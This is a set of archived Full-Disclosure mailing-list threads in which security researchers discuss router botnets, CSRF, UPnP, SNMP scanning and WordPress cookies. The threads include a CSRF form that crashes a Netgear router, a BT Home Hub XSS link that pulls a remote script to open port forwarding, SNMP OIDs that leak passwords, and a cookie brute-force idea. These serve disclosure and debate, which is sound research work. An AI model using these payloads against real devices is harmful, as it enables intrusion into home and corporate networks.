Re: [Full-disclosure] GeoIPgen version 0.4 released - country-to-IPs generator
On Tue, Mar 9, 2010 at 5:17 AM, Andrew Horton and...@morningstarsecurity.com wrote: I've just released a new version of GeoIPgen Description: GeoIPgen is a country-to-IPs generator. It's a geographic IP generator for IPv4 networks that uses the MaxMind GeoLite Country database. Geoipgen is the first published use of a geographic ip database in reverse to translate from country-to-IPs instead of the usual use of IP-to-country. Features: Random or sorted order, unique or repeating IPs, skips broadcast addresses, Neat project, and a research topic I've been interested in for several years. However, it's not the first time that the MaxMind GeoLite database has been used to generate lists of IP blocks for a given country (country2ip, rather than ip2country). October 2007: http://www.gnucitizen.org/blog/strategic-hacking-geoip/ http://www.gnucitizen.org/static/blog/2007/10/country2ip.ppt one, many or all countries. Changes: Much faster than version 0.3, for example generating all IPs for Papa New Guinea took a couple of minutes with version 0.3. Now it takes a few seconds. Homepage: http://www.morningstarsecurity.com/research/geoipgen P.S. Please tell me about your projects or nationwide scanning efforts that use geoipgen. Eg. the Australian Web Enumeration Project http://www.auenumerate.net -- Cheers, Andrew Horton MorningStar Security Mobile +64 (0) 272 646 959 Web www.morningstarsecurity.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pagvac | GNUCITIZEN.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Chuck Norris Botnet and Broadband Routers
It's no secret that there are tons of broadband routers/modems with exposed admin interfaces (HTTP/SSH/Telnet/whatever) using default/weak credentials. While the Chuck Norris botnet is interesting in that it shows that the problem is real, it shouldn't surprise anyone who has researched the security of broadband embedded devices. It's also not the first time an incident of this nature has happened. I'm sure a lot of the list readers remember the mass-phishing attack launched November 2007 [1] against several popular 2Wire broadband routers in Mexico. The attack was accomplished by means of changing the router's DNS settings via a CSRF hole on the web interface. A similar issue used to exist on the BT Home Hub and was reported in October 2007 [2] (a month earlier) where it was possible to compromise the router by tricking a user to visit a malicious page. The payload [3] would then exploit an authentication bypass and CSRF vulnerability in order to enable the remote assistance feature. (The intended purpose of this feature was to allow BT engineers to remotely troubleshoot home routers.) The attacker could then login remotely to the router with admin privileges using a password of his choice (set in the actual exploit payload). And of course there is the infamous BeThere backdoor admin account reported in February 2007 which you mentioned in your article [4]. The security of home-grade embedded devices has a long way to go. I think that the home router hacking challenge [5] [6] confirmed this by showing that many of these devices are affected by serious vulnerabilities, many of which are trivially exploitable. I couldn't agree more that ISPs do need to take responsibility and ensure that new modem/router builds are audited for common security issues before being distributed to their broadband customers. ap [1] http://www.hispasec.com/unaaldia/3313 [2] http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub/ [3] http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4/ [4] http://blogs.securiteam.com/index.php/archives/826 [5] http://www.gnucitizen.org/projects/router-hacking-challenge/ [6] http://marc.info/?l=bugtraqm=120441195905480w=2 On Mon, Feb 22, 2010 at 2:22 PM, Gadi Evron g...@linuxbox.org wrote: Last week Czech researchers released information on a new worm which exploits CPE devices (broadband routers) by means such as default passwords, constructing a large DDoS botnet. Today this story hit international news. Original Czech: http://praguemonitor.com/2010/02/16/czech-experts-uncover-global-virus-network English: http://www.pcworld.com/businesscenter/article/189868/chuck_norris_botnet_karatechops_routers_hard.html When I raised this issue before in 2007 on NANOG, some other vetted mailing lists and on CircleID, the consensus was that the vendors will not change their position on default settings unless something happens, I guess this is it, but I am not optimistic on seeing activity from vendors on this now, either. CircleID story 1: http://www.circleid.com/posts/broadband_routers_botnets/ CircleID story 2: http://www.circleid.com/posts/broadband_router_insecurity/ The spread of insecure broadband modems (DSL and Cable) is extremely wide-spread, with numerous ISPs, large and small, whose entire (read significant portions of) broadband population is vulnerable. In tests Prof. Randy Vaughn and I conducted with some ISPs in 2007-8 the results have not been promising. Further, many of these devices world wide serve as infection mechanisms for the computers behind them, with hijacked DNS that points end-users to malicious web sites. On the ISPs end, much like in the early days of botnets, many service providers did not see these devices as their responsibility -- even though in many cases they are the providers of the systems, and these posed a potential DDoS threat to their networks. As a mind-set, operationally taking responsibility for devices located at the homes of end users made no sense, and therefore the stance ISPs took on this issue was understandable, if irresponsible. As we can't rely on the vendors, ISPs should step up, and at the very least ensure that devices they provide to their end users are properly set up (a significant number of iSPs already pre-configure them for support purposes). The Czech researchers have done a good job and I'd like to thank them for sharing their research with us. In this article by Robert McMillan, some details are shared in English: -- Discovered by Czech researchers, the botnet has been spreading by taking advantage of poorly configured routers and DSL modems, according to Jan Vykopal, the head of the network security department with Masaryk University's Institute of Computer Science in Brno, Czech Republic. The malware got the Chuck Norris moniker from a programmer's Italian comment in its source code: in nome di Chuck Norris, which means in the name of Chuck
Re: [Full-disclosure] Netgear DG632 Router Remote DoS Vulnerability
3APA3A, I was actually *agreeing* with you! lols. I think something got lost in translation! Sorry if I confused anyone really. Good luck. 2009/6/17 Vladimir '3APA3A' Dubrovin 3ap...@security.nnov.ru: Adrian, If you can execute javascript - what is a reason to wait for user to click the link? The message I reply stated there is no need to force user to visit Web page and clicking the obfuscated link _sent_ to admin is enougth. I replied in this case only GET request is possible. Read the thread carefully before making conclusions. --Wednesday, June 17, 2009, 2:58:15 AM, you wrote to jeremi.gos...@motricity.com: AP you would be surprised how many people out there (mistakenly) still AP think that only GET requests are CSRFable! AP 2009/6/16 Jeremi Gosney jeremi.gos...@motricity.com: Vladimir: Where there is an open mind, there will always be a frontier. - Charles Kettering form method='post' action='http://192.168.1.1/cgi-bin/firmwarecfg' name='DoS' input type='hidden' value='' /form a href='http://www.google.com' onclick='document.DoS.submit();'Google/a -Original Message- From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Vladimir Dubrovin Sent: Tuesday, June 16, 2009 9:43 AM To: sr. Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] Netgear DG632 Router Remote DoS Vulnerability Dear sr., clicking on the link can not produce POST request, only GET, unless there are some special conditions, like crossite scripting vulnerability in the router. --16.06.2009 19:16, you wrote [Full-disclosure] Netgear DG632 Router Remote DoS Vulnerability to full-disclosure@lists.grok.org.uk; s it could still be carried out remotely by obfuscating a link sent to the s admin of the device. this would obviously rely on the admin clicking on s the link, and is more of a phishing / social engineering style attack. this s would also rely on the router being setup with all of the default internal s LAN ip's. s sr. s 2009/6/16 Vladimir '3APA3A' Dubrovin 3ap...@security.nnov.ru Dear Tom Neaves, It still can be exploited from Internet even if remote management is only accessible from local network. If you can trick user to visit Web page, you can place a form on this page which targets to router and request to router is issued from victim's browser. --Tuesday, June 16, 2009, 2:11:27 AM, you wrote to m.elyaz...@gmail.com: TN Hi. TN I see where you're going but I think you're missing the point a little. By TN *default* the web interface is enabled on the LAN and accessible by anyone TN on that LAN and the remote management interface (for the Internet) is TN turned off. If the remote management interface was enabled, stopping ICMP TN echo responses would not resolve this issue at all, turning the interface TN off would do though (or restricting by IP, ...ack). The remote management TN (love those quotes...) interface speaks over HTTP hence TCP so no amount of TN dropping ICMP goodness will help with this. Anyhow, I am happy to discuss TN this off list with you if its still not clear to save spamming everyone's TN inboxes. :o) TN Tom TN - Original Message - TN From: Alaa El yazghi TN To: Tom Neaves TN Cc: bugt...@securityfocus.com ; full-disclosure@lists.grok.org.uk TN Sent: Monday, June 15, 2009 11:03 PM TN Subject: Re: Netgear DG632 Router Remote DoS Vulnerability TN I know and I understand. What I wanted to mean is that we can not eventually TN acces to the web interface of a netgear router remotely if we cannot localy. TN As for the DoS, it is simple to solve such attack from outside. We just TN disable receiving pings (There is actually an option in even the lowest TN series) and thus, we would be able to have a remote management without ICMP TN requests. TN 2009/6/15 Tom Neaves t...@tomneaves.co.uk TN Hi. TN I'm not quite sure of your question... TN The DoS can be carried out remotely, however one mitigating factor (which TN makes it a low risk as opposed to sirens and alarms...) is that its turned TN off by default - you have to explicitly enable it under Remote Management TN on the device if you want to access it/carry out the DoS over the Internet. TN However, it is worth noting that anyone on your LAN can *remotely* carry out TN this attack regardless of this management feature being on/off. TN I hope this clarifies it for you. TN Tom TN - Original Message - TN From: Alaa El yazghi TN To: Tom Neaves TN Cc: bugt...@securityfocus.com ; full-disclosure@lists.grok.org.uk TN Sent: Monday, June 15, 2009 10:45 PM TN Subject: Re: Netgear DG632 Router Remote DoS Vulnerability TN How can it be carried out remotely if it bugs localy? TN 2009/6/15 Tom Neaves t...@tomneaves.co.uk TN Product Name: Netgear DG632 Router TN Vendor:
Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Hello Fionnbharr, Please see my response to your comments in-line. On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr [EMAIL PROTECTED] wrote: This isn't new. It isn't even a technique. http://www.bluecoat.com/support/securityadvisories/icap_patience A very recent example of this kind of vulnerability. My god you gnucitizen people are retarded. At least you didn't give it a ridiculous name like 'clickjacking'. Can you GNUtards please keep your 'research' into subjects people already know to yourself or at least not post it the lists, then at least I won't have to see it. That Bluecoat advisory was released on 29 September 2008. What makes you think that I did not discover the SonicWALL vulnerability/vector and reported it to ZDI *way before* that date? Well, FYI I reported it to ZDI in June 2008 and discovered it even before. At least, you should consider the possibility of the attack vector being discovered by two researchers concurrently. It can take quite a few months before the vendor provides a patch, not to mention that SonicWALL was VERY slow to confirm the vulnerability. Don't you know that responsible disclosure means that the details of a vulnerability can be held for quite a while before being released to the public? Since when the publishing date of an advisory is equal to discovery date? Furthermore, it appears that Bluecoat only released their advisory *after* the researcher jplopezy made his advisory public, which could suggest that he did NOT inform the vendor before releasing the details: http://www.securityfocus.com/archive/1/496940/30/0/threaded It's also interesting that the researcher released the advisory (bugtraq post) one day *after* I published the general description of the attack: June 25th, 2008. ZDI forwards my findings to SonicWALL (see Disclosure Timeline): http://www.zerodayinitiative.com/advisories/ZDI-08-070/ September 20th, 2008. I publish the general description of the attack: http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ September 21th, 2008. Researcher jplopezy finds the same attack vector on BlueCoat's web filter: http://www.securityfocus.com/archive/1/496577/30/0/threaded Notice jplopezy published the bugtraq post *one day after* I published the general attack description on GNUCITIZEN. Interesting? Please do your homework before many any accusations. Also Malaysia: Cracking into Embedded Devices and Beyond!, who the fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for cracking passwords, but wow. Can't you accept the idea some some of us still consider hacking and breaking into a system not necessarily the same thing? Regards, ap. 2008/10/31 Adrian P [EMAIL PROTECTED]: Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors: http://sites.google.com/a/gnucitizen.org/lab/research-papers Finally, I'd like to thank Zero Day Initiative [3] for their great work and the Hack in the Box crew for organizing such a fine event! Regards, ap. REFERENCES [1] HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond! http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186 [2] New technique to perform universal website hijacking http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ [3] SonicWALL Content-Filtering Universal Script Injection Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-070/ -- Adrian pagvac Pastor | GNUCITIZEN gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Hi Fionnbharr, Well, that's fair enough. tbh, I couldn't find older examples, but this is one of the points of sending a post to the lists: other people can review it and give feedback. I just sometimes wished people were more constructive on FD. Regarding the paper, well, it can be useful for people who want to find a similar issue in their firewall/proxy appliances. Don't you think? No need to call anyone names IMO. And please, why do people keep attacking Kaminsky? He has greatly contributed to the infosec community so please give him some credit! Thanks for your email anyway. Perhaps, you could have expressed yourself in a less aggressive/more constructive manner? Regards, ap. On Fri, Oct 31, 2008 at 10:18 PM, Fionnbharr [EMAIL PROTECTED] wrote: Sure, this attack vector has been 'discovered' by lots of people in the past, or even concurrently, thats my point. It doesn't merit a whole paper on it. Not to mention you're getting on the FUD/Kaminsky bandwagon when GNUtards release a statement like 'New technique to universally hijack websites', trying to get some media attention for something everyone else already knew. re: the bluecoat vuln, if you read my post I just said it was a recent (or as you might put it, *recent*) example of this type of vulnerability. I've this sort of vuln myself with client software and so has a number of other people I know. Glad to see the majority of your email is completely irrelevant. 2008/11/1 Adrian P [EMAIL PROTECTED]: Hello Fionnbharr, Please see my response to your comments in-line. On Fri, Oct 31, 2008 at 8:31 AM, Fionnbharr [EMAIL PROTECTED] wrote: This isn't new. It isn't even a technique. http://www.bluecoat.com/support/securityadvisories/icap_patience A very recent example of this kind of vulnerability. My god you gnucitizen people are retarded. At least you didn't give it a ridiculous name like 'clickjacking'. Can you GNUtards please keep your 'research' into subjects people already know to yourself or at least not post it the lists, then at least I won't have to see it. That Bluecoat advisory was released on 29 September 2008. What makes you think that I did not discover the SonicWALL vulnerability/vector and reported it to ZDI *way before* that date? Well, FYI I reported it to ZDI in June 2008 and discovered it even before. At least, you should consider the possibility of the attack vector being discovered by two researchers concurrently. It can take quite a few months before the vendor provides a patch, not to mention that SonicWALL was VERY slow to confirm the vulnerability. Don't you know that responsible disclosure means that the details of a vulnerability can be held for quite a while before being released to the public? Since when the publishing date of an advisory is equal to discovery date? Furthermore, it appears that Bluecoat only released their advisory *after* the researcher jplopezy made his advisory public, which could suggest that he did NOT inform the vendor before releasing the details: http://www.securityfocus.com/archive/1/496940/30/0/threaded It's also interesting that the researcher released the advisory (bugtraq post) one day *after* I published the general description of the attack: June 25th, 2008. ZDI forwards my findings to SonicWALL (see Disclosure Timeline): http://www.zerodayinitiative.com/advisories/ZDI-08-070/ September 20th, 2008. I publish the general description of the attack: http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ September 21th, 2008. Researcher jplopezy finds the same attack vector on BlueCoat's web filter: http://www.securityfocus.com/archive/1/496577/30/0/threaded Notice jplopezy published the bugtraq post *one day after* I published the general attack description on GNUCITIZEN. Interesting? Please do your homework before many any accusations. Also Malaysia: Cracking into Embedded Devices and Beyond!, who the fuck uses the word 'cracking' instead of 'hacking' in 2008? Sure for cracking passwords, but wow. Can't you accept the idea some some of us still consider hacking and breaking into a system not necessarily the same thing? Regards, ap. 2008/10/31 Adrian P [EMAIL PROTECTED]: Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors: http://sites.google.com/a/gnucitizen.org/lab
[Full-disclosure] Universal Website Hijacking by Exploiting Firewall Content Filtering Features + SonicWALL firewalls 0day
Hello folks, Yesterday, I presented for the first time [1] a new method to perform universal website hijacking by exploiting content filtering features commonly supported by corporate firewalls. I briefly discussed [2] the finding on GNUCITIZEN in the past without giving away the details, but rather mentioning what the attacker can do and some characteristics of the attack. Anyway, I'm now releasing full details on how the technique works, and a real 0day example against SonicWALL firewalls. The paper can be found on the GNUCITIZEN labs site. Please let me know if you can successfully use the same technique against firewalls by other vendors: http://sites.google.com/a/gnucitizen.org/lab/research-papers Finally, I'd like to thank Zero Day Initiative [3] for their great work and the Hack in the Box crew for organizing such a fine event! Regards, ap. REFERENCES [1] HITBSecConf2008 - Malaysia: Cracking into Embedded Devices and Beyond! http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=186 [2] New technique to perform universal website hijacking http://www.gnucitizen.org/blog/new-technique-to-perform-universal-website-hijacking/ [3] SonicWALL Content-Filtering Universal Script Injection Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-08-070/ -- Adrian pagvac Pastor | GNUCITIZEN gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] www.dia.mil
Welcome to the web! 1 website = content retrieved from dozens/hundreds of sites. Much more than what the browser's address bar shows ;) Think of ad banners, analytics JS (legit spyware), static content served from high-speed embedded httpds, etc ... And yes, there are security implications to this design problem. -Original Message- From: [EMAIL PROTECTED] Sent: 27 October 2008 17:22 To: Razi Shaban [EMAIL PROTECTED] Cc: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] www.dia.mil On Mon, 27 Oct 2008 21:07:46 +0400, Razi Shaban said: On Mon, Oct 27, 2008 at 7:59 PM, Bipin Gautam [EMAIL PROTECTED] wrote: A picture is worth a thousand words. But whats so wrong about it? :P So what? A US intelligence agency is basically betting the bank that statcounter.com, a company apparently based in Ireland, doesn't get pwned or subverted. Does that give you warm-n-fuzzies? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Exploring the UNKNOWN: Scanning the Internet via SNMP!
Well, such statement is simply derived from my personal experience of doing application-layer UDP scanning. Never ran a proper benchmark to compare speed results to be honest. On Tue, Mar 4, 2008 at 8:53 AM, Sebastian Krahmer [EMAIL PROTECTED] wrote: On Tue, Mar 04, 2008 at 12:02:25AM +, Adrian P wrote: * Exploring the UNKNOWN: Scanning the Internet via SNMP! * http://www.gnucitizen.org/blog/exploring-the-unknown-scanning-the-internet-via-snmp/ Hacking is not only about coming up with interesting solutions to problems, but also about exploring the unknown. It was this drive for knowledge philosophy that lead to surveying a significant sample of the Internet which allowed us to make some VERY interesting observations and get an idea of the current state of _remote SNMP hacking_. * Why SNMP? * 2.5 million random IP addresses were surveyed via SNMP. Why SNMP you might be asking? Well, there are several reasons. First of all SNMP is a UDP-based protocol which allows us to perform scanning at a much shorter time than via TCP-based protocols. Another advantage of This is not true. I doubt there is any measurable advantage of UDP vs. TCP scans if you do it right. 2.5 million addresses can be done in a very short coffee break. Sebastian -- ~ ~ perl self.pl ~ $_='print\$_=\47$_\47;eval';eval ~ [EMAIL PROTECTED] - SuSE Security Team ~ SUSE LINUX Products GmbH, GF: Markus Rex, HRB 16746 (AG Nuernberg) -- pagvac | gnucitizen.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Exploring the UNKNOWN: Scanning the Internet via SNMP!
* Exploring the UNKNOWN: Scanning the Internet via SNMP! * http://www.gnucitizen.org/blog/exploring-the-unknown-scanning-the-internet-via-snmp/ Hacking is not only about coming up with interesting solutions to problems, but also about exploring the unknown. It was this drive for knowledge philosophy that lead to surveying a significant sample of the Internet which allowed us to make some VERY interesting observations and get an idea of the current state of _remote SNMP hacking_. * Why SNMP? * 2.5 million random IP addresses were surveyed via SNMP. Why SNMP you might be asking? Well, there are several reasons. First of all SNMP is a UDP-based protocol which allows us to perform scanning at a much shorter time than via TCP-based protocols. Another advantage of UDP-based protocols is that the source IP address can be spoofed easily. In the case of SNMP, it means that an attacker could change configuration settings from a spoofed IP address provided that a valid write community string is identified or cracked. Needless to say, changing config settings via SNMP can lead to a full compromise. Finally, we have been very involved [1] researching embedded devices lately, and since a significant amount of Internet devices are hackable via SNMP, such protocol was an obvious candidate. * When SNMP read access is all we need for successful pwnage * Gaining SNMP write access is of course usually considered to be a more serious issue than gaining SNMP read access only. However, even if a cracker only gained read access to a device/server via a SNMP community string, sometimes it would possible to extract sensitive information such as usernames and passwords which would eventually lead to a compromise of the targeted systems. In order to accomplish this, all that is needed by the attacker is knowledge of an interesting OID to query. My point is that SNMP read access could a enough to fully own a device! * Examples of juicy leaks via SNMP read access * For instance, Windows servers return the full list of usernames [2] by snmwalking the OID 1.3.6.1.4.1.77.1.2.25. Or how about the BT Voyager 2000 router leaking the ISP credentials [3] including the password? Oh, wait, I almost forgot to mention HP JetDirect printers leaking [4] the admin password [5] via SNMP read access (using OIDs .iso.3.6.1.4.1.11.2.3.9.4.2.1.3.9.1.1.0 and .1.3.6.1.4.1.11.2.3.9.1.1.13.0). And of course the recently disclosed [6] Dynamic DNS credentials disclosure on ZyXEL Prestige routers via the OID 1.3.6.1.4.1.890.1.2.1.2.6.0 (see section 2.2 in the paper for more details). You get the point: lots of devices leak _way too much information_ via SNMP read access. * The juicy survey stats! * From a total number of 2.5 million random IP addresses, 5320 IP addresses responded to the submitted SNMP requests. Although this is only %0.2128 of all the IP addresses, we need to keep in mind that most Internet systems with SNMP support correspond to embedded devices, which only make a small portion of the Internet. One query was sent to each random IP using the community string public, which is often used as the default read community string. The OID queried on each request is 1.3.6.1.2.1.1.1.0 which is the system description (usually returns brand and model). The destination port used was 161/UDP. Although some systems used different default port numbers for SNMP daemons, 161 is definitely the most common one. In order to protect the innocent, we hid the first two octets of the IP addresses included in our results CSV file: cat ./2dot5million-random-ips.csv | while read line do echo -en '*.*.'./2dot5million-random-ips.hidden.csv; echo $line | cut -d . -f 3- ./2dot5million-random-ips.hidden.csv done The most common systems found were the following: * ARRIS Touchstone Telephony Modems [7] - these VoIP modems alone made more than 35% of all found devices discovered! * Cisco routers * Apple AirPort [8] and Base Station * ZyXEL Prestige routers * Netopia routers * Windows 2000 servers Obviously, what kind of SNMP-enabled devices are the most popular on the Internet is very interesting information from a research point of view. For instance, if researching remote SNMP vulnerabilities, it would make sense to focus on a type of device that is widely-spread through the Internet. I'll leave you guys to make your own observations by reading the results CSV file. The survey results file can be found on: http://www.gnucitizen.org/blog/exploring-the-unknown-scanning-the-internet-via-snmp/ * References * [1] http://www.google.com/search?num=100hl=enq=site%3Agnucitizen.org+%28embedded+devices%29+OR+upnpbtnG=Search [2] http://insecure.org/sploits/NT.smnp.domain_users.record_deletion.html [3] http://www.securityfocus.com/archive/1/366780 [4] http://www.phenoelit-us.org/stuff/HP_snmp.txt [5] http://www.securityfocus.com/bid/7001/exploit [6] http://www.procheckup.com/Hacking_ZyXEL_Gateways.pdf [7]
[Full-disclosure] BT Home Flub: Pwnin the BT Home Hub (5) - exploiting IGDs remotely via UPnP
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5 It's known that UPnP [1] is inherently insecure for a very simple reason: administrative tasks can be performed on a Internet Gateway Device (IGD) without needing to know the admin password whatsoever! This on its own is quite scary and I personally feel that although there is some research in the public domain, there is much more attention that needs to be paid to UPnP. UPnP allows you to perform administrative functions. Some functions are very standardized and supported by most devices. Examples include obtaining network settings, and enabling port forwarding rules. Other functions are make/model specific. Some very scary functions such as obtaining administrative username and password pairs have been reported [2] in the past. As a reminder, this works without submitting any administrative password whatsoever since UPnP is a authenticationless protocol. On top of this, most IGDs support UPnP by default. After having read several UPnP security research materials I realized that all the described attacks assume that the attacker (be it human or malware) comes from inside the network. This post describes how to exploit IGDs remotely via UPnP even when no services are publicly available (WAN interface). ** Preauth XSS + SOAP payload = remote UPnP exploitation ** If you sniff yourself while running software that uses UPnP in the background to help you configure your router, you'll see that UPnP is nothing more than SOAP. Our AJAX knowledge tells us about a feature that allows us to craft arbitrary XML requests: the XMLHttpRequest [3] object. Trouble is, such object can only be used within the context of the site that the requests are submitted to. So if we host the malicious scripting code on a third-party site, and a victim user located in the same LAN as the target IGD visits such page, the request wouldn't go through due to XMLHttpRequest same-origin policy restricition. Or put in a different way: you aren't allowed to make XMLHttpRequests to any server except the server where your web page came from. However, if you find a pre-auth XSS vulnerability [4] on the target device you can bypass such restriction. For instance, many devices such as the BT Home Hub and Speedtouch routers offer certain pages before authenticating. Some of these pages are cgi scripts which are vulnerable to XSS. Although offering certain useless functionalities before logging into the router might not seem like a big deal, it can actually lead to UPnP being exploited remotely, even if the web admin console is not visible from the Internet! The following is a non-malicious proof-of-concept exploit which sets up a port-forwarding rule from port 1337 on the WAN interface to port 445 on the internal IP address 192.168.1.64. Such IP address is the first usable IP address reserved for clients connected to Speedtouch and BT Home Hub routers. The exploit has been tested on BT Home Hub - Firmware version 6.2.6.B. Just to make things clear, UPnP is enabled by default on the BT Home Hub, just like most IGDs. If your Internet gateway is a BT Home Hub, clicking on the following link should add a new forward rule called EVILFORWARDRULE: ATTACK http://192.168.1.254/cgi/b/ic/connect/?url=%22%3e%3cscript%20src='http://www.gnucitizen.org/projects/bt-home-flub-pwnin-the-bt-home-hub-5/payload.xss'%3e%3c/script%3e%3ca%20b= In order to check if the port-forwarding rule was added successfully you can use UPnP Port Forwarding Utility [5] and simply click on Update list now after the device has been discovered (device name should show on the top-left corner a few seconds later after launching the tool). You could of course use the technique and code explained in this post on any Internet gateway that supports UPnP and is a vulnerable to a preauth XSS vulnerability. If you manage to successfully test this attack on the BT Home Hub or any other device please let us know! ** Zombie routers and the unvalidated NewInternalClient bug ** A bit of more UPnP hacking lead me to realize that the BT Home Hub is vulnerable to the (in)famous unvalidated NewInternalClient bug. This bug allows you to choose external IP addresses instead of a LAN IP addresses as intended when setting up port-forwarding rules via UPnP. In this case, I reused the previous code and changed the internal IP address (192.168.1.64) in the NewInternalClient tag with the IP address of a random Internet web server and the value of the NewInternalPort tag to 80. This effectively allows an attacker to use the vulnerable BT Home Hub router as a proxy - aka onion router. In other words, when probing the router's NATed IP address on port 1337, the attacker is effectively probing the IP address and port number specified by the port-forwarding rule - except the routers IP address would be shown in logs of the target web server, as opposed to the attacker's real IP address. I thought this is a nice real example of how a
Re: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough)
Hi folks! Just wanted to say that it IS possible to make good money and have fun breaking security. Lots of security researchers out there are offered very generous positions which sometimes allows them to work from home. In many of these positions the researcher chooses what to break, and the employer is OK with that since they also get good publicity for publishing the findings anyways. In short, it IS possible to have fun while working and make very good money. Does that mean you're not a hacker anymore? I don't think so! What it means is that you're clever since you managed to do what you like, legally, and get paid very good money for breaking toys just like you used to do when you were a child. Regards, AP. On Dec 2, 2007 7:35 PM, James Matthews [EMAIL PROTECTED] wrote: Correct there must be a separation between work and play! But playing will always be fun! On Dec 2, 2007 8:29 PM, coderman [EMAIL PROTECTED] wrote: On Dec 2, 2007 5:47 PM, jf [EMAIL PROTECTED] wrote: ... something southern baptists ... You're doing it wrong. oh well, i checked monster.com and my ruse didn't work. no employeee exodus, no new signing bonus, and here i thought you'd all send email notice on a pleasant saturday afternoon. guess i'll have to pay for that CISSP after all... [tell you what jf and pdp, i'd be more curious to know how you cultivated that job that isn't yet pays well than continuing this thread before it spirals further into inanity...] ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- http://search.goldwatches.com/?Search=Movado+Watches http://www.jewelerslounge.com http://www.goldwatches.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Wordpress Cookie Authentication Vulnerability
comment inline ;) On Nov 20, 2007 8:23 PM, Steven Adair [EMAIL PROTECTED] wrote: Right this problem has existed for a long time, but it's not the end of the world for someone to point it out again I suppose. I think it's obvious that there's another main issue here and that's the way WordPress handles its cookies in general. They are not temporary sessions that expire or are only valid upon successful authentication. The cookies work for ever.. or at least until the password changes. If someone uses an XSS attack to obtain the cookies or sniffs them (most blogs are just HTTP) they can essentially permanently authenticate. The same result occurs with being able to read the database. Furthermore, one could in theory conduct a bruteforce attack against the WordPress password by just making normal requests to the blog but changing the cookies that does the double MD5 of the password. You could in theory emulate normal continued browsing of the website while sending MD5(MD5(password)) over and over with each request via the cookie. Other than perhaps a large increase in browsing of the blog, this could possibly go unnoticed as an attack -- as it would not be logged anywhere (in most instances) that the cookies were being presented. Once authenticated into WordPress, the normal blog pages look different, so it would not require an attacker to access the Admin area to verify. That's actually an interesting way to BF the passwords. Much more stealth than doing it via the login page. I like it! Anyway, good to see the CVE is already there. Maybe better session management will find its way into WordPress. Steven http://www.securityzone.org (..runs on WordPress.. oh noes!) This is CVE-2007-6013 since 19th Nov including WordPress ticket #5367: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6013 - Juha-Matti Steven J. Murdoch [EMAIL PROTECTED] kirjoitti: On Tue, Nov 20, 2007 at 07:08:36PM +0100, Stefan Esser wrote: Could you elaborate why you consider this news? Most public SQL injection exploits for Wordpress use this cookie trick. I couldn't find it on the Wordpress bug tracker and when I mentioned it to the Wordpress security address, they did not mention having heard of it before. I also couldn't find a detailed explanation of the problem online, nor in the usual vulnerability databases. Blog administrators, like me, therefore risk sites being compromised because they didn't realize the problem. It seemed intuitive to me that restoring the database to a known good state would be adequate to recover from a Wordpress compromise (excluding guessable passwords). This is the case with the UNIX password database and any similarly implemented system. Because of the vulnerability I mentioned, this is not the case for Wordpress. So I also thought it important to describe the workarounds, and fixes. If these were obvious, Wordpress would have already applied them. Some commenters did not think that the current password scheme needs to be, or can be improved, despite techniques to do so being industry standard for decades. Clearly this misconception 